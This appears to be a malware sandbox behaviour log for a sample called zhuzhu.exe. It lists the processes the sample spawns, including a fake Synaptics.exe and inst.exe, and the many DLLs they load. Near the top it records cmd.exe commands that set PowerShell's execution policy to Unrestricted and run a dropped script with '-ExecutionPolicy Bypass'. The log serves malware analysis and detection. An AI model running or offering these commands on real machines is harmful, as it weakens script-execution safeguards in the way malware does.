Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Downloads\inst.exe C:\Users\user\Downloads\inst.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 12156
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 12156
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Users\user\Desktop\zhuzhu.exe	Process created: C:\Users\user\Desktop\._cache_zhuzhu.exe "C:\Users\user\Desktop\._cache_zhuzhu.exe"	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Process created: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe "C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1

Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: dinput8.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: inputhost.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: devenum.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: msdmo.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: avicap32.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: avicap32.dll
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: netutils.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: firewallapi.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: fwbase.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: wldp.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: profapi.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: cabinet.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: secur32.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: rasman.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: napinsp.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: wshbth.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: winrnr.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: rtutils.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: cabinet.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: amsi.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: userenv.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: propsys.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: ntshrui.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: cscapi.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: winmm.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: dwrite.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: cabinet.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: iphlpapi.dll
